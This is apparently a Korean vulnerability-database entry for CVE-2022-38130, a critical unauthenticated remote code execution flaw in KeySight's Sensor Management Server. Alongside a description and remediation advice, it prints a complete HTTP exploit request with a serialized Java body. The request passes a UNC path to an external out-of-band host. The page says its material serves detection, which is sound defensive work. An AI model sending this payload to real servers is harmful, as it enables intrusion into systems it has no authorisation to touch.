🔙 목록으로 돌아가기

CVE-2022-38130: KeySight RF - smsRestoreDatabaseZip UNC path to Remote Code Execution

TitleKeySight RF - smsRestoreDatabaseZip UNC path to Remote Code Execution
Authordaffainfo,jjcho
SeverityCritical
ImpactUnauthenticated attackers can control database content, potentially leading to data tampering or execution of malicious code.
RemediationImplement validation and sanitization of the database file path parameter to restrict to trusted locations.
CVSS Score9.8
EPSS Score0.79442
CVE IDCVE-2022-38130
CWE IDCWE-89
Tags cve cve2025 keysight sensor_management_server rce vkev oast oob

🔍 Vulnerability Description

The com.keysight.tentacle.config.ResourceManager.smsRestoreDatabaseZip() method is used to restore the HSQLDB database used in SMS. It takes the path of the zipped database file as the single parameter. An unauthenticated, remote attacker can specify an UNC path for the database file (i.e., \\sms\), effectively controlling the content of the database to be restored.

🌐 HTTP Request

POST /server/service/smsConfigServiceHttpInvoker HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Content-Length: 404
Content-Type: application/x-java-serialized-object
Accept-Encoding: gzip

��sr5org.springframework.remoting.support.RemoteInvocation_l���

[	argumentst[Ljava/lang/Object;L
attributestLjava/util/Map;L
methodNametLjava/lang/String;[parameterTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt5\\\\d5jmnv1le0o49q576uogre4e36po3yz7k.oast.live\\testptsmsRestoreDatabaseZipur[Ljava.lang.Class;�׮��Z�xpvrjava.lang.String��8z;�Bxp

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38130.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-38130.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A